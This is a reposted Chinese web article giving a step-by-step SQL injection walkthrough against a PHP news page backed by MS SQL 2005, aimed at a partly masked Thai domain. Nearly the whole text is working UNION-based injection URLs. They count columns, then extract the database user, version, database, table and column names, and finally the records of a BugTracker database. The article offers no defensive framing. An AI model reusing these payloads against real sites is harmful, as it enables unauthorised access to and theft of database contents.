首页 电脑 电脑学堂 查看内容

mssql 2005+php 注射语句

2009-4-23 11:03 619 0

摘要:   注射点:http://xxx.in.th/news_show.php?newsid=400   要用union查询的话,先确定有几个字段,使用order by 来完成,就是:   http:/...
关键词: null newsid select show news http union BugTracker php xxx

  注射点:http://xxx.in.th/news_show.php?newsid=400   要用union查询的话,先确定有几个字段,使用order by 来完成,就是:   http://xxx.in.th/news_show.php?newsid=400 order by 7-- 回显正常   http://xxx.in.th/news_show.php?newsid=400 order by 8-- 回显失败   说明总共7个字段,然后用null填充   http://xxx.in.th/news_show.php?newsid=400 union all select null,null,null,null,null,null,null--显示正常   变换成不存在的id,前面加负号,或者加上and 1=2的条件,比如   http://xxx.in.th/news_show.php?newsid=99999 union all select null,null,null,null,null,null,null--   确定下哪个位置可以爆出结果,先从第一个null开始变换,直接替换成user,就是:   http://xxx.in.th/news_show.php?newsid=99999 union all select user,null,null,null,null,null,null--   看来运气比较好,当前用户名直接出现在某个可见的位置,要是没显示结果就继续变换位置   那就从这个位置开始暴出我们想要的结果   1.变换id获得库名   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select name,null,null,null,null,null,null+from+master.dbo.sysdatabases+where+dbid=1--   2.获得当前库名   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select db_name(),null,null,null,null,null,null--   3.获得当前版本   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select @@version,null,null,null,null,null,null--   4.变换N获得指定库的表名   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select name,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top N name from BugTracker.dbo.sysobjects where xtype=CHAR(85))--   5.获得指定库所有列名   (1) 这里的M和获得库名时的N必须一致,不然无法得到正确的库名ID   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select ID,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and ID not in (select top M ID from BugTracker.dbo.sysobjects where xtype=CHAR(85))--   (2)最后的ID值即是(1)中回显的数值,通过变换N值获得所有列名   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select NAME,null,null,null,null,null,null from BugTracker.dbo.syscolumns where ID=53575229 and name not in (select top N name from BugTracker.dbo.syscolumns where ID=53575229)--   6.根据前几步所得结果获得字段内容   http://xxx.in.th/news_show.php?newsid=400 and 1=2 union all select bug_id,null,null,null,null,null,null from BugTracker..mantis_bug_file_table--可自加条件进行查询
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部